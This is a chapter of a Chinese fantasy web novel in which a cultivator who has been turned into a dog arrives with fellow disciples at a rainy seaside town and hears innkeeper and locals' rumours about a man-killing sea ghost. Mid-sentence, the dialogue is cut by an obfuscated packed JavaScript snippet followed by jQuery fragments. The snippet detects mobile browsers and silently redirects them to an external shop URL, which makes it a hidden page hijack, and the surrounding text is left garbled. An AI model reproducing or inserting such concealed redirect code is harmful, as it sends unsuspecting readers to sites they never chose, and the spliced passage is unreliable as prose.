洛水镇地处南方,靠山临海。往常这个季节,镇上总是飘着咸湿的海风,街巷里晒满了渔网,空气里都是鱼干的味道。可如今,那些晾晒的架子都空着,有的已经被主人收了起来,有的就那么歪在路边,任由雨水冲刷。

    闻澄跃一行人刚到洛水镇时,天正下着雨。

    雨不算大,细细密密的,打在路面上泛着白蒙蒙的水汽。闻澄跃四只爪子踩在地上,因着离地面比较近,没走几步毛发就湿了一圈。狗毛虽能防水,但也架不住这么淋,他甩了甩身子,水珠溅了旁边裴松吟一裤腿。

    裴松吟低头看了他一眼。

    闻澄跃装作没看见,继续往前走。还好,狗毛外面是湿的,但里面还是热乎的,他一点都不冷。

    到了客栈门口,闻澄跃又抖了一次水。正当他一身清爽地要趴在地上时,裴松吟却蹲下身,从怀里摸出一块帕子,按着他的脑袋就是一通揉搓。

    干啥呢?这小子怎么这么粗鲁!

    闻澄跃被揉得东倒西歪,想躲又躲不开,只能龇着牙任由他把自己从头到耳朵根擦了个遍。

    粗鲁的小子,手劲儿真大。

    “好了。”裴松吟收起帕子,站起身来。

    闻澄跃骂人的嘴一闭,抖了抖毛,嗯……确实更干爽多了。他抬头看了裴松吟一眼,那人已经面无表情地推门进去了。

    客栈大堂里冷冷清清的,只点了一盏油灯,光线昏黄。几张桌子空着,连个喝茶的客人都没有。柜台后面,老板正撑着脑袋打瞌睡,听见门响才猛地惊醒,一看有人来,眼睛顿时亮了。

    “客官们,住店?”他快步迎出来,笑得殷勤,“要几间房?小店各样式的都有,您随便挑!”

    闻澄跃同裴松吟站在最前面,身后是褚晞和沈纤意。雪霄也站在前面——毕竟他眼下才是“闻澄跃”,承云宗的大师兄。

    褚晞抱着剑,歪头道:“大师兄,师父给的钱够的话,那就一人一间呗?一个人住多自在。”

    闻澄跃心想:师父哪里给多少钱了?那老头儿抠门得很,为了这一趟,他把自己攒了好些年的私房钱都掏出来了。还一人一间?做梦呢。

    他摇了摇尾巴。

    雪霄便开口:“师父说了要低调行事。师妹,你和沈师妹同是女子,住一间便好。”

    褚晞还想说什么,余光瞥见旁边的沈纤意,怕人家多想,只好把话咽了回去,嘟囔道:“行吧。那师兄和小师弟也要挤一间?”

    “这就不必了。”闻澄跃继续摇尾巴,“老板,三间房。一间上好的给这两位姑娘。另外两间,我和这个师弟的。”

    “为什么?”褚晞瞪大眼睛,“你和裴师弟都是男子,还要避嫌?莫非——”

    “三师姐慎言。”一旁久久没开口的裴松吟冷冷打断。

    雪霄也跟着道:“褚师妹一天到晚在想什么?裴师弟还要养狗,我和他一间房未免太挤,这才开两间的。”

    褚晞这才想起闻澄跃现在是条狗的事,心里顿时了然。她笑着圆场:“哎呀,是我多嘴了。师兄谨慎些也好。”

    裴松吟看了眼“闻澄跃”,目光淡淡的,看不出什么情绪。

    闻澄跃被他这么一看,心里莫名发毛。

    好在老板及时笑呵呵地凑过来:“客官,那就这么定下了?”

    “嗯。”

    “好嘞!三间房——两间上房,一间——”老板顿了顿,看向闻澄跃,“客官,您这狗……”

    “跟我住。”裴松吟道。

    “得嘞!”老板麻利地取了钥匙,嘴里还念叨着,“几位客官来得巧,最近咱这镇上人少,空房多着呢。往常这时候,哪能这般清闲……”

    他说着,叹了口气,把钥匙递过来。

    褚晞接过来,随口问道:“老板,你们镇上那个海妖的事,最近可有新动静?”

    老板脸色一变,压低声音道:“客官,您几位还是别打听的好……那东西邪性着呢,专挑精壮的男子下手。有人说是个穿黑袍的女鬼,头发长得把脸都遮住了,舌头能拖到地上。凌霄宗和顺天宗的人来了都没能拿下,我们这镇子……怕是没指望了。”

    他说着,眼眶竟有些发红,摆了摆手,不再多言,转身回了柜台。

    闻澄跃蹲在地上,心想:凌霄宗和顺天宗都来过,还都铩羽而归?看来这趟,还真不简单。

    窗外,雨还在下着,天色已经暗了下来。远远的,能听见海潮的声音,一下一下,拍在岸上。

    闻澄跃一行人放下行李,在房中休息。可他们才歇了不到半个时辰,门外便响起老板的声音。

    “何事?”裴松吟问。

    “客官,该用晚饭了。小店准备了晚饭,你们记得下来吃。”

    “好。”

    “那小的就先走了。”

    “嗯。”

    闻澄跃早就饿了,听到要吃饭了就从地上一跃而起,张望着裴松吟。

    “走吧。”裴松吟打开门,先让他出去。

    通过这些日子的相处,他也知道了自己的狗突然爱吃人的食物了。他也拗不过他,便由他去了。

    闻澄跃“哒哒哒”地下了楼,裴松吟在后面缓缓走来。

    还未踏进大堂,闻澄跃的耳朵就先竖了起来——有男人的声音从里头传来。

    “我二舅就是被她拖走的……”一个汉子红着眼圈说,“有人说她生前是被男人抛弃的妒妇,犯了七出才被休回家,心里恨着呢,专找男人报仇。”

    “不对不对,”另一个摇头,“我听说是跟人私奔出海,船翻了才死的。她在海底安了家,专吃路过的精壮男子,好给自己找个替身。这女人毒性得很,最是可怕!”

    闻澄跃蹲在楼梯口,耳朵一动不动。这些人口中说的大概就是他们此行要除的妖怪了。只是,这些传闻里,到底哪句是真,哪句是假?

    闻澄跃在这里蹲着不走,正好撞上了裴松吟的腿。他仰头望去。

    下雨日,天色暗得早,店里此时已燃起蜡烛。烛光从裴松吟身后漫过来,他的脸便隐在暗处,只剩一截下颌被光影削出利落的弧度,眉眼间隐约一点冷浸浸的亮——像今夜云层后那弯始终没露面的月。

    闻澄跃心中暗道:“裴松吟这个角度竟然还这么好看!我不服!”

    “怎么在这里不走了?小师弟,你在想什么呢?”褚晞笑嘻嘻地从后面走过来。她不知何时出现在了他们身后,后面跟着的还有沈纤意和“闻澄跃”。

    裴松吟没有回头:“听。”

    沈纤意瞥了一眼楼下:“有人在说除妖捉鬼的事。”

    褚晞道:“噢,但我们在这里站着

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776368|210031||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    会不会太引人注目了?”

    果然,楼下这会儿已经不再说话了。

    方才那几个讨论女鬼女妖讨论地热火朝天的男人,这会儿都噤声了。

    闻澄跃心道:“他们估计是见了一群外地人在这里,心里有些发怵,不敢继续说了。”

    他摇了摇尾巴,雪霄走到前面:“我们先下去,不要在这儿站着了。”

    裴松吟拉住了他,眼里写着警惕:“师兄。”

    闻澄跃不知道他在担心什么,蹭了下裴松吟的腿,让他松手。

    “闻澄跃”道:“没什么事。我们下去和他们聊聊也好。毕竟知道更多有关妖怪的事,才能更好地除害。小师弟,不必紧张,我们都是修仙之人,还会被他们暗算了不成?”

    褚晞也迎合道:“大师兄说的没错。”

    沈纤意:“下去看看吧。”

    裴松吟让开了路,不再说话。

    闻澄跃先一步“哒哒哒”地跑下了楼。

    “闻澄跃”道:“诸位,你们好。刚刚听你们是在说洛水镇的妖怪吧?我们奉了师门之命,特来此地捉妖。”

    那几个人坐在桌子旁埋着头,一听是修仙人士,都纷纷侧目:“修仙人士?”

    “几位仙长是来我们洛水镇除妖的?”

    “正是。”“闻澄跃”道。

    “哎呀,仙长,那可太好了。我们这里就是需要捉妖师,你们不知道,这海里的不知是女妖还是女鬼,把我们洛水镇弄得天翻地覆,死了好多人呢!”

    一说到死人,他们就激动起来:“我听镇长说,这些日子死的人加起来能有百十个了吧。”

    “是啊,这女鬼将出海去的人都抓走了。这还不算,她甚至还掳走了不少的妇人和孩子,当真是歹毒至极!”

    褚晞抱着手里的剑,听着他们讨论这些,缩了缩脖子,“呀”了一声:这也太可怕了吧,这女鬼到底想做什么?”

    一人听了发笑:“还能做什么?吃人呗,不管是妖怪还是鬼,都是喜欢吃人肉的。这有什么可问的?”

    褚晞:“哎,你这人怎么这么说话?听着就讨骂!我是在想更深的原因。”

    “哪能有什么深层原因?再说了,你一个小丫头掺和这些做什么?”

    褚晞当即就怒了:“我是他们的师姐,还说我掺和什么?你真是眼睛被狗给吃了,这般眼瞎,认不得你姑奶奶我!”

    被骂的那人当即就站起身来,可看了眼褚晞手里那把熠熠生辉的剑,又坐了下去:“你……”

    褚晞:“哼。”

    闻澄跃:“……其实狗应该不吃那玩意儿。”他不由自主地联想了雪霄吃眼珠子的样子……呕!

    裴松吟突然道:“那女鬼究竟长什么模样?”

    他们来洛水镇前虽也听过一些多多少少的传闻,但终究是捕风捉影,当不得真。若是能从当地人的嘴里得知女鬼的长相,那便是最好的了。

    可没成想,那群人却突然犯起了难:“这……其实我也说不准。”

    “见过那女鬼的人都死了,我怎么知道?我要是知道的话,哪里还有命在?”

    闻澄跃心中暗自道:“没见过还说得这么有模有样的,这不是骗人吗?”

    沈纤意问出了他心中所想:“你们又为何知道女鬼的传闻?”